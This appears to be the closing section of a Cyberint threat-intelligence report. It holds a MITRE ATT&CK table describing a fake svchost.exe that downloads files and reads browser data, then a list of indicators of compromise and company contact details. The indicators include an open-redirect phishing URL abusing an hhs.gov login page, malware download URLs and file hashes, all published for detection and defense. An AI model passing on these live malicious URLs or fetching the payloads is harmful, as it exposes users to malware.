T1105 - Remote File Copy	Command And Control Lateral Movement	svchost.exe - download and uploads files from remote machine
T1071 - Standard Application Layer Protocol	Command And Control	svchost.exe communicate over port 80 and 443
T1032 - Standard Cryptographic Protocol	Command And Control	svchost.exe - uses standard SSL cryptography
T1217- Browser Bookmark Discovery	Discovery	svchost.exe - Reads sensitive browser data

INDICATORS OF COMPROMISE

Type	Value
URL	https://dcis.hhs.gov/cas/login?service=http%3A%2F%2F195.130.73.229/php/hhs/&gateway=true
IP	172.217.16.141
IP	2.21.38.54
IP	152.199.21.175
IP	185.62.188.204
IP	212.82.100.176
URL	http://195.130.73.229/php/hhs/document.zip
URL	http://195.130.73.229/php/hhs/
URL	http://185.62.188.204/hunt/post/corona.exe
HASH	41A857F3EA7ECBEEEF165F6EAC07606DCD8DFE12821CF4012029025496787129
HASH	2414E2FD46A354CCDCF2ADEB6FCB838ED5A47B11572571E2E35E4613FE5B2A88
HASH	DF41D7733025128357571FC1C1166F696E83E06EEB39CE6C828031B1994DB957
HASH	417871EE18A4C782DF7AE9B7A64CA060547F7C88A4A405B2FA2487940EAA3C31

CONTACT US

www.cyberint.com | sales@cyberint.com | blog.cyberint.com

USA

Tel: +1-646-568-7813
214 W 29th St, 2nd Floor New York, NY 10001

ISRAEL

Tel: +972-3-7286-777
17 Ha-Mefalsim St 4951447 Petah Tikva

UNITED KINGDOM

Tel: +44-203-514-1515
Fox Court 14 Grays Inn Rd, Holborn, WC1X 8HN, Suite 2068 London

SINGAPORE

Tel: +65-3163-5760
135 Cecil St. #10-01 MYP PLAZA 069536

LATAM

Tel: +507-395-1553
Panama City